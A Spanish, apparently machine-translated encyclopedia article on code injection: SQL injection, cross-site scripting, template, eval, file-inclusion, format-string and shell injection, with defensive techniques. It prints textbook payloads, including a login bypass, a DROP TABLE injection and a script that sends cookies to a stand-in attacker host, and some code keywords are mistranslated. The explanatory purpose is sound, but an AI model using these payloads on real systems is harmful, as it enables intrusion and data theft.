Las inyecciones de código son una clase de vulnerabilidades de seguridad informática en las que un programa informático vulnerable malinterpreta datos externos (normalmente, datos introducidos por el usuario) como parte de su código. De este modo, un atacante "inyecta" código en el programa, modificando el curso de su ejecución . El resultado de una inyección de código exitosa puede tener consecuencias importantes, por ejemplo, al permitir la propagación de virus o gusanos informáticos .
Las vulnerabilidades de inyección de código ocurren cuando una aplicación envía datos no confiables a un intérprete . Las fallas de inyección se encuentran a menudo en SQL , LDAP , XPath , consultas NoSQL , comandos del sistema operativo , analizadores XML , encabezados SMTP , argumentos de programas, etc. Las fallas de inyección son más fáciles de descubrir al examinar el código fuente que al realizar pruebas. [1] El análisis estático y los fuzzers pueden ayudar a encontrar fallas de inyección. [2]
Las inyecciones de código pueden provocar pérdida o corrupción de datos , falta de responsabilidad, denegación de acceso y, en algunos casos, toma de control total del host.
Ciertos tipos de inyección de código son errores de interpretación que otorgan un significado especial a la entrada del usuario. Existen errores de interpretación similares fuera del ámbito de la informática, como en el número cómico " ¿Quién es el primero? " . En algunos tipos de inyección de código, no se distingue entre la entrada del usuario y los comandos del sistema.
Las técnicas de inyección de código son populares en el hackeo o descifrado de sistemas para obtener información, así como para la escalada de privilegios o el acceso no autorizado a un sistema. La inyección de código se puede utilizar de forma maliciosa con muchos fines, entre ellos:
Las inyecciones de código que atacan la Internet de las cosas también podrían tener consecuencias graves, como violaciones de datos e interrupciones del servicio. [3]
En 2008, el 5,66% de todas las vulnerabilidades denunciadas ese año se clasificaron como inyección de código, el porcentaje más alto registrado. En 2015, esta cifra había disminuido al 0,77%. [4]
La inyección de código puede realizarse con buenas intenciones; por ejemplo, cambiar o modificar el comportamiento de un programa o sistema a través de la inyección de código puede hacer que el sistema se comporte de una determinada manera sin ninguna intención maliciosa. [5] [6] La inyección de código podría, por ejemplo:
Algunos usuarios pueden realizar inyecciones de código sin darse cuenta porque la información que proporcionaron a un programa no fue considerada por quienes desarrollaron originalmente el sistema. Por ejemplo:
Otro uso benigno de la inyección de código es el descubrimiento de fallos de inyección en sí, con la intención de encontrar y corregir vulnerabilidades. Esto se conoce como prueba de penetración de sombrero blanco .
Para evitar problemas de inyección de código, utilice estrategias de manejo de entrada y salida seguras, como:
htmlspecialchars()
función para escapar caracteres especiales para una salida segura de texto en HTML y la mysqli::real_escape_string()
función para aislar datos que se incluirán en una solicitud SQL , para protegerse contra la inyección SQL .HttpOnly
bandera para cookies HTTP . Cuando se configura, esta bandera no permite la interacción del script del lado del cliente con las cookies, lo que evita ciertos ataques XSS . [10]Las soluciones mencionadas anteriormente se ocupan principalmente de la inyección basada en la Web de código HTML o de script en una aplicación del lado del servidor. Sin embargo, se deben adoptar otros enfoques cuando se trata de la inyección de código de usuario en la máquina del usuario, lo que da lugar a ataques de elevación de privilegios. Algunos enfoques que se utilizan para detectar y aislar inyecciones de código administradas y no administradas son:
Una inyección SQL aprovecha la sintaxis SQL para inyectar comandos maliciosos que pueden leer o modificar una base de datos o comprometer el significado de la consulta original. [13]
Por ejemplo, considere una página web que tiene dos campos para permitir que los usuarios ingresen un nombre de usuario y una contraseña. El código detrás de la página generará una consulta SQL para comparar la contraseña con la lista de nombres de usuario:
SELECCIONAR UserList . Nombre de usuario FROM UserList WHERE UserList . Nombre de usuario = 'Nombre de usuario' AND UserList . Contraseña = 'Contraseña'
Si esta consulta devuelve alguna fila, se concede el acceso. Sin embargo, si el usuario malintencionado introduce un nombre de usuario válido e introduce un código válido ( password' OR '1'='1
) en el campo Contraseña, la consulta resultante tendrá el siguiente aspecto:
SELECCIONAR UserList . Nombre de usuario FROM UserList WHERE UserList . Nombre de usuario = 'Nombre de usuario' AND UserList . Contraseña = 'Contraseña' OR '1' = '1'
En el ejemplo anterior, se supone que "Contraseña" está en blanco o alguna cadena inocua. " '1'='1'
" siempre será verdadero y se devolverán muchas filas, lo que permitirá el acceso.
La técnica se puede perfeccionar para permitir la ejecución de múltiples sentencias o incluso para cargar y ejecutar programas externos.
Supongamos una consulta con el siguiente formato:
SELECCIONAR Usuario . UserID DE Usuario DONDE Usuario . UserID = ' " + UserID + " ' Y Usuario . Pwd = ' " + Password + " '
Si un adversario tiene lo siguiente como entradas:
UserID: ';DROP TABLE User; --'
Password: 'OR"='
La consulta se analizará como:
SELECCIONAR Usuario . UserID DE Usuario DONDE Usuario . UserID = '' ; DROP TABLE Usuario ; --'AND Contraseña = ''O"= '
El resultado es que la tabla User
se eliminará de la base de datos. Esto ocurre porque el ;
símbolo significa el final de un comando y el comienzo de uno nuevo. --
significa el comienzo de un comentario.
La inyección de código es la inyección o introducción maliciosa de código en una aplicación. Algunos servidores web tienen un script de libro de visitas , que acepta pequeños mensajes de los usuarios y, por lo general, recibe mensajes como:
¡Muy lindo sitio!
Sin embargo, una persona malintencionada puede conocer una vulnerabilidad de inyección de código en el libro de visitas y escribir un mensaje como el siguiente:
Buen sitio, creo que lo aprovecharé. < script > window . location = "https://some_attacker/evilcgi/cookie.cgi?steal=" + escape ( document . cookie )</ script >
Si otro usuario ve la página, se ejecutará el código inyectado. Este código puede permitir al atacante hacerse pasar por otro usuario. Sin embargo, este mismo error de software puede ser activado accidentalmente por un usuario desprevenido, lo que hará que el sitio web muestre un código HTML incorrecto.
La inyección de HTML y secuencias de comandos es un tema popular, comúnmente denominado " cross-site scripting " o "XSS". XSS se refiere a un error de inyección por el cual la entrada del usuario en una secuencia de comandos web o algo similar se coloca en el HTML de salida, sin que se verifique si contiene código HTML o secuencias de comandos.
Muchos de estos problemas están relacionados con suposiciones erróneas sobre qué datos de entrada son posibles o los efectos de datos especiales. [14]
Los motores de plantillas se utilizan a menudo en las aplicaciones web modernas para mostrar datos dinámicos. Sin embargo, confiar en datos de usuario no validados puede conducir con frecuencia a vulnerabilidades críticas [15] como las inyecciones de plantillas del lado del servidor. Si bien esta vulnerabilidad es similar a la de los scripts entre sitios , la inyección de plantillas se puede aprovechar para ejecutar código en el servidor web en lugar de en el navegador de un visitante. Abusa de un flujo de trabajo común de las aplicaciones web que a menudo utilizan entradas de usuario y plantillas para representar una página web. El siguiente ejemplo muestra el concepto. Aquí la plantilla {{visitor_name}}
se reemplaza con datos durante el proceso de representación.
Hola {{visitor_name}}
Un atacante puede usar este flujo de trabajo para inyectar código en el flujo de procesamiento proporcionando un código malicioso visitor_name
. Según la implementación de la aplicación web, podría optar por inyectar el código {{7*'7'}}
que el renderizador podría resolver Hello 7777777
. Tenga en cuenta que el servidor web real ha evaluado el código malicioso y, por lo tanto, podría ser vulnerable a la ejecución remota de código .
Una vulnerabilidad de inyección ocurre cuando un atacante puede controlar toda o parte de una cadena de entrada que se introduce en una llamada de función . [16]eval()
eval()
$myvar = 'algúnvalor' ; $x = $_GET [ 'arg' ]; eval ( '$myvar = ' . $x . ';' );
El argumento de " eval
" se procesará como PHP , por lo que se pueden agregar comandos adicionales. Por ejemplo, si "arg" se establece en " ", se ejecuta código adicional que ejecuta un programa en el servidor, en este caso " ".10; system('/bin/echo uh-oh')
/bin/echo
PHP permite la serialización y deserialización de objetos completos . Si se permite la entrada de datos no confiables en la función de deserialización, es posible sobrescribir clases existentes en el programa y ejecutar ataques maliciosos. [17] Un ataque de este tipo en Joomla se encontró en 2013. [18]
Considere este programa PHP (que incluye un archivo especificado por solicitud):
<?php $color = 'azul' ; si ( se establece ( $_GET [ 'color' ])) $color = $_GET [ 'color' ]; requerir ( $color . '.php' );
El ejemplo espera que se proporcione un color, mientras que los atacantes podrían proporcionarlo, COLOR=http://evil.com/exploit
lo que provocaría que PHP cargara el archivo remoto.
Los errores de formato de cadena aparecen con mayor frecuencia cuando un programador desea imprimir una cadena que contiene datos proporcionados por el usuario. El programador puede escribir por error printf(buffer)
en lugar de printf("%s", buffer)
. La primera versión interpreta buffer
como una cadena de formato y analiza las instrucciones de formato que pueda contener. La segunda versión simplemente imprime una cadena en la pantalla, como lo pretendía el programador. Considere el siguiente programa C corto que tiene una variable local array password
de caracteres que contiene una contraseña; el programa le pide al usuario un entero y una cadena, luego repite la cadena proporcionada por el usuario.
char usuario_entrada [ 100 ]; int int_en ; char contraseña [ 10 ] = "Contraseña1" ; printf ( "Ingrese un entero \n " ); scanf ( "%d" , & int_in ); printf ( "Ingrese una cadena \n " ); fgets ( user_input , sizeof ( user_input ), stdin ); printf ( user_input ); // La versión segura es: printf("%s", user_input); printf ( " \n " ); devuelve 0 ;
Si la entrada del usuario se completa con una lista de especificadores de formato como %s%s%s%s%s%s%s%s
, entonces printf()
comenzará a leer desde la pila . Finalmente, uno de los %s
especificadores de formato accederá a la dirección de password
, que está en la pila, y la imprimirá Password1
en la pantalla.
La inyección de shell (o inyección de comandos [19] ) recibe su nombre de los shells de Unix , pero se aplica a la mayoría de los sistemas que permiten que el software ejecute una línea de comandos de forma programada. A continuación, se muestra un ejemplo de script tcsh vulnerable :
# !/bin/tcsh # check arg muestra si coincide si arg es uno if ( $1 == 1 ) echo si coincide
Si lo anterior se almacena en el archivo ejecutable ./check
, el comando de shell ./check " 1 ) evil"
intentará ejecutar el comando de shell inyectado evil
en lugar de comparar el argumento con la constante. Aquí, el código que está siendo atacado es el código que está intentando comprobar el parámetro, el mismo código que podría haber estado intentando validar el parámetro para defenderse de un ataque. [20]
Cualquier función que se pueda utilizar para componer y ejecutar un comando de shell es un vehículo potencial para lanzar un ataque de inyección de shell. Entre ellas se encuentran system(), StartProcess() y System.Diagnostics.Process.Start().
Los sistemas cliente-servidor, como la interacción de un navegador web con un servidor web, son potencialmente vulnerables a la inyección de shell. Considere el siguiente programa PHP breve que puede ejecutarse en un servidor web para ejecutar un programa externo llamado funnytext
a reemplazar una palabra que el usuario envió con otra palabra.
<?php passthru ( "/bin/funnytext " . $_GET [ 'USER_INPUT' ]);
El passthru
código anterior compone un comando de shell que luego ejecuta el servidor web. Dado que parte del comando que compone se toma de la URL proporcionada por el navegador web, esto permite que la URL inyecte comandos de shell maliciosos. Se puede inyectar código en este programa de varias maneras explotando la sintaxis de varias características del shell (esta lista no es exhaustiva): [21]
Algunos lenguajes ofrecen funciones para escapar o entrecomillar adecuadamente cadenas que se utilizan para construir comandos de shell:
escapeshellarg()
yescapeshellcmd()
shlex.quote()
Sin embargo, esto sigue imponiendo a los programadores la carga de conocer/aprender acerca de estas funciones y recordar utilizarlas cada vez que utilicen comandos de shell. Además de utilizar estas funciones, también se recomienda validar o depurar la entrada del usuario.
Una alternativa más segura es utilizar API que ejecuten programas externos directamente, en lugar de hacerlo a través de un shell, lo que evita la posibilidad de inyección de shell. Sin embargo, estas API tienden a no admitir varias características convenientes de los shells y/o a ser más engorrosas/detalladas en comparación con la sintaxis concisa de los shells.
El uso benévolo de la inyección de código se produce cuando un usuario cambia el comportamiento de un programa para cumplir con los requisitos del sistema.